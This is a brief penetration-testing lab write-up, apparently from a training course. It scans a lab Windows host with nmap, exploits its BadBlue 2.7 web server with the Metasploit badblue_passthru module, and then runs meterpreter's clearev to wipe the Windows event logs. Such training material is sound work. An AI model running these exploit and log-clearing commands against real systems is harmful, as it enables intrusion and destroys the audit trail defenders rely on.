Clearing Windows Event Logs

Lab Environment

In this lab environment, you will be provided with GUI access to a Kali machine and a target Windows machine. The target machine running a vulnerable application will be accessible at demo.ine.local.

Objective: Your task is to exploit the vulnerable application and then clear the Windows Event logs with Metasploit.

Tools

The best tools for this lab are:

• Nmap

• Metasploit Framework

Writeup

nmap -sSVC demo.ine.local

PORT      STATE SERVICE            VERSION
80/tcp    open  http               BadBlue httpd 2.7
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-OMCNBKR66MN
| Not valid before: 2025-06-10T08:49:38
|_Not valid after:  2025-12-10T08:49:38
|_ssl-date: 2025-06-11T08:53:29+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN-OMCNBKR66MN
|   NetBIOS_Domain_Name: WIN-OMCNBKR66MN
|   NetBIOS_Computer_Name: WIN-OMCNBKR66MN
|   DNS_Domain_Name: WIN-OMCNBKR66MN
|   DNS_Computer_Name: WIN-OMCNBKR66MN
|   Product_Version: 6.3.9600
|_  System_Time: 2025-06-11T08:53:22+00:00
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-06-11T08:53:24
|_  start_date: 2025-06-11T08:48:16
| smb2-security-mode: 
|   3:0:2: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

msfconsole
use exploit/windows/http/badblue_passthru
set rhosts demo.ine.local
run

clearev